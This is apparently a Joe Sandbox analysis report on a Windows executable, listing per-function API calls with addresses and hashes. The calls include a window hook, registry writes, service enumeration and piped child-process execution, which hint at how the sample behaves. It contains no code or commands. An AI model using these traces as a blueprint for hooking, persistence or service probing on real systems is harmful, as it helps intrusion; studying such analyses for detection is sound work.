Opcode ID: fd5fe4194f9f9bdf3cfdb313decab6ad5908080b701182544c0b99171b30a72b
Instruction ID: 64ba26c4d4a3a698031ff25d4ce263d8cf063df3938b7dad7c21b308a8fee353
Opcode Fuzzy Hash: fd5fe4194f9f9bdf3cfdb313decab6ad5908080b701182544c0b99171b30a72b
Instruction Fuzzy Hash: A4212C30E41308FBDB109FA1DD47B5DBB70AB15701F00846AF5047E580E7795650DF9A

Function 0040ED50 Relevance: 6.1, APIs: 4, Instructions: 61
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000020,00000000,?,00000000,80000005), ref: 0040ED68
WriteFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,?,0000026C,?,00000000,80000005), ref: 0040EDA7
FindCloseChangeNotification.KERNELBASE(00000000,?,?,0000026C,?,00000000,80000005), ref: 0040EDBA
CloseHandle.KERNEL32(00000000,?,?,0000026C,?,00000000,80000005), ref: 0040EDD5

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CloseFile$ChangeCreateFindHandleNotificationWrite
String ID:
API String ID: 2570977422-0
Opcode ID: b79617627ff684c70875c7e7ff1602ae980db85b1ef7dad282710fb7a1e80d72
Instruction ID: 87678d389b915762b14ea937ed7b327348b303f21045a70dab481359822ffb42
Opcode Fuzzy Hash: b79617627ff684c70875c7e7ff1602ae980db85b1ef7dad282710fb7a1e80d72
Instruction Fuzzy Hash: 4F1173313043026BD720DF18EC85F6BB7E4FB84715F540929FA54A7290D774E9198B55

Function 0041BFF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0041C00B
SetWindowsHookExA.USER32(000000FF,V`Q,00000000,00000000), ref: 0041C01B

Part of subcall function 00421119: __EH_prolog.LIBCMT ref: 0042111E

Strings

V`Q, xrefs: 0041C014

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CurrentH_prologHookThreadWindows
String ID: V`Q
API String ID: 2183259885-815211277
Opcode ID: 81a1227c75f08721f3f4047127de1e7c7640ee0f686b32813bbe3cd7795dc58d
Instruction ID: 2cb7f794db895efd98478a92405ac45f0961f8e11846967ee4751cc6fe51b898
Opcode Fuzzy Hash: 81a1227c75f08721f3f4047127de1e7c7640ee0f686b32813bbe3cd7795dc58d
Instruction Fuzzy Hash: E6F0A731F40320EBC7303BF1BD0EB5679A05F24719F95465BB511571F2CA6C4980876D

Function 004052A0 Relevance: 4.6, APIs: 3, Instructions: 130
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040531C
RegQueryValueExA.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040539E
RegCloseKey.KERNELBASE(00000000), ref: 004053CD

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: QueryValue$Close
String ID:
API String ID: 1979452859-0
Opcode ID: 13c72f17cee73ac87e7f94cc06ac4d20f8205984e77c2b94c1ef1e15c332dec9
Instruction ID: fb302d40725930cf9b113783d68ad47421cd22abfa8b997c48784387df7d7bf4
Opcode Fuzzy Hash: 13c72f17cee73ac87e7f94cc06ac4d20f8205984e77c2b94c1ef1e15c332dec9
Instruction Fuzzy Hash: B6414F71E00209AFDF10DFA5DC46BAFBBB4EB08301F14446AF904BB291D7799A109F66

Function 00413B5D Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00413B48,?,00000000,00000000,0041298B,00000000,00000000), ref: 00413B72
TerminateProcess.KERNEL32(00000000,?,00413B48,?,00000000,00000000,0041298B,00000000,00000000), ref: 00413B79
ExitProcess.KERNEL32 ref: 00413BFA

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 8d988e7a774f52446b467c7b3f16e4e865e1a08f25282003d07327376529190f
Instruction ID: 3f896b64b3241c5d918074e578fbc249f2dc8a590c0ba8977a6e4ad31fde601c
Opcode Fuzzy Hash: 8d988e7a774f52446b467c7b3f16e4e865e1a08f25282003d07327376529190f
Instruction Fuzzy Hash: 58014832708311AFC6249F25FD41FAABBB4AB40716B10003FF50866151EB38AAC4CB1D

Function 0041F680 Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 0041F68D
GetSystemMetrics.USER32(0000000C), ref: 0041F694
73A1A570.USER32(00000000), ref: 0041F6AD

Part of subcall function 00421B02: GetSystemMetrics.USER32(00000002), ref: 00421B14
Part of subcall function 00421B02: GetSystemMetrics.USER32(00000003), ref: 00421B1E

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: MetricsSystem$A570CallbackDispatcherUser
String ID:
API String ID: 1939568193-0
Opcode ID: 35a99d6513bd8ff127fca7d3e99988d47b1c5dc0fc991cc322bd9554f4a6747e
Instruction ID: 964d3de6633cbf577417aadc910f30aa88c3c62322d232a9e4c12668f09dfabc
Opcode Fuzzy Hash: 35a99d6513bd8ff127fca7d3e99988d47b1c5dc0fc991cc322bd9554f4a6747e
Instruction Fuzzy Hash: 19F0B430740700AEE330AF729C49F27BBB4EB90B52F10443EE601462A0DA789D46CFA5

Function 004051A1 Relevance: 3.1, APIs: 2, Instructions: 76registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 00405236
RegCloseKey.ADVAPI32(00000000), ref: 00405265

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CloseValue
String ID:
API String ID: 3132538880-0
Opcode ID: bb4b79b02806a0f83e4fed87c6fda8efad991d484bd5eb5b446052cb883d72dd
Instruction ID: f80ca164eb6a0ffffe64438979878ab9ee03c243f5a7789015e68c825381735b
Opcode Fuzzy Hash: bb4b79b02806a0f83e4fed87c6fda8efad991d484bd5eb5b446052cb883d72dd
Instruction Fuzzy Hash: 67213D75A00208FBEB109F94DC46B9E7BB0EF18701F0044A9F904BB290D37A9A60DF55

Function 00421CAE Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000000,00000000,0041FB21,00000000,00000000,00000000,00000000,?,00000000,?,0041B9DD,00000000,00000000,00000000,00000000,00412982), ref: 00421CB7
SetErrorMode.KERNELBASE(00000000,?,00000000,?,0041B9DD,00000000,00000000,00000000,00000000,00412982,00000000), ref: 00421CBE

Part of subcall function 00421D11: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 00421D42
Part of subcall function 00421D11: lstrcpy.KERNEL32(?,.HLP), ref: 00421DE3
Part of subcall function 00421D11: lstrcat.KERNEL32(?,.INI), ref: 00421E10

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: ErrorMode$FileModuleNamelstrcatlstrcpy
String ID:
API String ID: 3389432936-0
Opcode ID: ebe33d5f83de7136e40878b64ee6202a36ea2654608fa319508970c3b83aca68
Instruction ID: ed3241e208873bc0b4c50d5503160353762cf51fc37bd05599f4e3a123ef4770
Opcode Fuzzy Hash: ebe33d5f83de7136e40878b64ee6202a36ea2654608fa319508970c3b83aca68
Instruction Fuzzy Hash: 20F03C75A182208FC714BF26E844B0A7BA4AF54714F05849FF4488B3B2CB78D941CF9A

Function 004152A3 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00412900,00000001), ref: 004152B4

Part of subcall function 0041515B: GetVersionExA.KERNEL32 ref: 0041517A

HeapDestroy.KERNEL32 ref: 004152F3

Part of subcall function 00416D53: RtlAllocateHeap.NTDLL(00000000,00000140,004152DC), ref: 00416D60

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCreateDestroyVersion
String ID:
API String ID: 760317429-0
Opcode ID: ffc1eb9626e820122eeeb017b93ed1411e698b62d49d7f4f85c4098446577ec2
Instruction ID: 7b4ea2dedba3b8afd452851bbae85bc82bb05011d49a9bbbebf72aa24b8f4803
Opcode Fuzzy Hash: ffc1eb9626e820122eeeb017b93ed1411e698b62d49d7f4f85c4098446577ec2
Instruction Fuzzy Hash: 4DF065B2715701E9EF702B32AC057EA75A09B84746F2049BBF505C92A0EB7885C1DD1E

Function 0040E780 Relevance: 3.0, APIs: 2, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000008), ref: 0040E7AE
RtlFreeHeap.NTDLL(005E0000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0040E7C0

Part of subcall function 0040E560: GetModuleHandleA.KERNEL32(00000000,0040E79B,00000000,0040F682,00000000,00000000), ref: 0040E56A

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: FreeHandleHeapHugeModuleRead
String ID:
API String ID: 3105250205-0
Opcode ID: ce4b6dd7d21766bed28e206b64a4fed793178bd2f999f282804cc9c4a294d2bb
Instruction ID: e1ea8718761dc2fb9f666d8555b254e66a3d4012499807cde58e979e851dfb75
Opcode Fuzzy Hash: ce4b6dd7d21766bed28e206b64a4fed793178bd2f999f282804cc9c4a294d2bb
Instruction Fuzzy Hash: 8BE01B31A00111A7FF306FA7AC48ADB375CAF42B457114837F454B3290E3B85C505B9D

Function 004130B1 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000), ref: 00413198

Part of subcall function 00417F90: RtlInitializeCriticalSection.NTDLL(00000000), ref: 00417FCD
Part of subcall function 00417F90: RtlEnterCriticalSection.NTDLL(00000000), ref: 00417FE8

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: 80c4fcd5b5bf203b89b54c112faad00fac7814a4d89c778efdbe2a556c22afdb
Instruction ID: 3889ceeeeea4001e54ccbe579e44580801bc5514ab5e0b31062318006512a411
Opcode Fuzzy Hash: 80c4fcd5b5bf203b89b54c112faad00fac7814a4d89c778efdbe2a556c22afdb
Instruction Fuzzy Hash: 0321A772A44205BBDB10DF65DC42BDEB764EB00765F24421BF414EB2D1C778AAC18B5D

Function 004034FB Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

PathIsDirectoryW.SHLWAPI(00401776), ref: 00403516

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: DirectoryPath
String ID:
API String ID: 1580926078-0
Opcode ID: 29a26a7da0dc4a88731c2b1c2ea733293a9e53b7574875ab784387d697ed81bb
Instruction ID: 57f22c0566d0ee8f811f92e5f285e1669ba72e8bad2ec35bcc2cb0339626f373
Opcode Fuzzy Hash: 29a26a7da0dc4a88731c2b1c2ea733293a9e53b7574875ab784387d697ed81bb
Instruction Fuzzy Hash: DCF06575E00308F7DB10DE659C47B6A7B78AB14706F0484B6A901BB290E2799B109AA6

Non-executed Functions

Function 00409B17 Relevance: 38.4, APIs: 18, Strings: 3, Instructions: 1602memoryserviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00409C0A
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409C60
GetProcessHeap.KERNEL32 ref: 00409C8C
RtlAllocateHeap.NTDLL(?,00000008,00000000), ref: 00409CC3
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409D0B
RtlMoveMemory.NTDLL(00000000), ref: 00409FC6
OpenServiceA.ADVAPI32(00000000,?,000F01FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040A237
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040A27E
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040A2A7
RtlAllocateHeap.NTDLL(00000001,00000008,00000000), ref: 0040A2DE
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040A317
RtlMoveMemory.NTDLL(?,00000000,00000024), ref: 0040A358
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040ACE4
HeapFree.KERNEL32(00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040AD1B
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040AD47
GetProcessHeap.KERNEL32(?,00000000,?,00000000,00000000), ref: 0040AD8E
HeapFree.KERNEL32(00000001,00000001,00000000,?,00000000,?,00000000,00000000), ref: 0040ADC5
CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,00000000,00000000), ref: 0040ADF1

Strings

NetworkService, xrefs: 0040AA19
LocalService, xrefs: 0040A902
LocalSystem, xrefs: 0040AB30

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Heap$Service$Process$AllocateCloseConfigEnumFreeHandleMemoryMoveOpenQueryServicesStatus$Manager
String ID: LocalService$LocalSystem$NetworkService
API String ID: 2546304029-295051543
Opcode ID: f348580a155010d28ccea018e617f03cf81fb9421779f268327d079261bfecb5
Instruction ID: adf8ea5248710260b705634ffe723f0bc6bc3f52fa13cf22239915f3e8bd67f9
Opcode Fuzzy Hash: f348580a155010d28ccea018e617f03cf81fb9421779f268327d079261bfecb5
Instruction Fuzzy Hash: DCC244B1E40304ABEB10DF95ECC6B9D7B74EF18304F144439EA05BB282E7796925CB56

Function 0040B582 Relevance: 31.4, APIs: 14, Strings: 3, Instructions: 1609servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040B675
EnumServicesStatusExA.ADVAPI32(00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040B6F4
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040B735
EnumServicesStatusExA.ADVAPI32(00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040B7A6
RtlMoveMemory.NTDLL(00000000), ref: 0040BA81
OpenServiceA.ADVAPI32(00000000,00000001,000F01FF), ref: 0040BD44
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040BD97
GlobalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040BDCB
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040BE04
RtlMoveMemory.NTDLL(?,00000000,00000024), ref: 0040BE45
GlobalFree.KERNEL32(00000000), ref: 0040C7CD
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040C7F9
GlobalFree.KERNEL32(00000000), ref: 0040C831
CloseServiceHandle.ADVAPI32(00000000), ref: 0040C85D

Strings

NetworkService, xrefs: 0040C4FF
LocalService, xrefs: 0040C3E8
LocalSystem, xrefs: 0040C616

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$Global$AllocCloseConfigEnumFreeHandleMemoryMoveOpenQueryServicesStatus$Manager
String ID: LocalService$LocalSystem$NetworkService
API String ID: 749800324-295051543
Opcode ID: 6d4bdcc5d8968ee96628bcfedb6446e80b92ffee70a530aee05e462cec607e33
Instruction ID: d70dd73b29367f96e4aa47adc329bf2574df1c1966df68da18a3d2a273287791
Opcode Fuzzy Hash: 6d4bdcc5d8968ee96628bcfedb6446e80b92ffee70a530aee05e462cec607e33
Instruction Fuzzy Hash: 7CC244B1E403049BEB10DF95ECC6B9D7BB4EF18304F144439EA05BB282E7796925CB5A

Function 0041AC83 Relevance: 26.7, Strings: 21, Instructions: 417COMMON

Download Yara Rule

Strings

+, xrefs: 0041AE78
0, xrefs: 0041AD5F
9, xrefs: 0041AD44
c, xrefs: 0041AD72
C, xrefs: 0041AD64
0, xrefs: 0041AE24
9, xrefs: 0041ACF2
0, xrefs: 0041AF22
e, xrefs: 0041AD7B
1, xrefs: 0041AEC8
9, xrefs: 0041AED0
9, xrefs: 0041AF04
+, xrefs: 0041AD55
9, xrefs: 0041AF14
1, xrefs: 0041AEFB
E, xrefs: 0041AD6D
0, xrefs: 0041ADAD
-, xrefs: 0041AE81
-, xrefs: 0041AD5A
0, xrefs: 0041AEF1
9, xrefs: 0041AD98

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID: +$+$-$-$0$0$0$0$0$1$1$9$9$9$9$9$9$C$E$c$e
API String ID: 0-1157002505
Opcode ID: 812e78670a8eafd95986d4c7fa0bdc3d1a951f28e75cfae0f8d863bbf7974eec
Instruction ID: d6a644f83f34bb578bc498fa7871cfb84d1c402fcc80f18d0a7e591e90396bc1
Opcode Fuzzy Hash: 812e78670a8eafd95986d4c7fa0bdc3d1a951f28e75cfae0f8d863bbf7974eec
Instruction Fuzzy Hash: 69E1E171D866099EEB24CF68D8553FE7BB1EB04305F28401BD401A6281D77C89E2DB9F

Function 00406551 Relevance: 25.3, APIs: 12, Strings: 2, Instructions: 777pipesleepprocessCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32(00000000,00000000,00000000,00000000), ref: 00406651
CreateProcessW.KERNEL32(00000000,?,00000002,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000001), ref: 0040696A
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000001,00000001), ref: 00406A60
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000001,00000001), ref: 00406A96
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000001,00000001), ref: 00406AD7
WaitForInputIdle.USER32(?,000003E8), ref: 00406B10
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,?,?,?,?,?,?,00000001,00000001), ref: 00406B5E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00406BE2
GetExitCodeProcess.KERNEL32(?,00000000), ref: 00406D20

Part of subcall function 00403116: strlen.MSVCRT ref: 0040318B
Part of subcall function 00403116: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,FFFFFFFF,00000000,00000000,00000000), ref: 004031F2

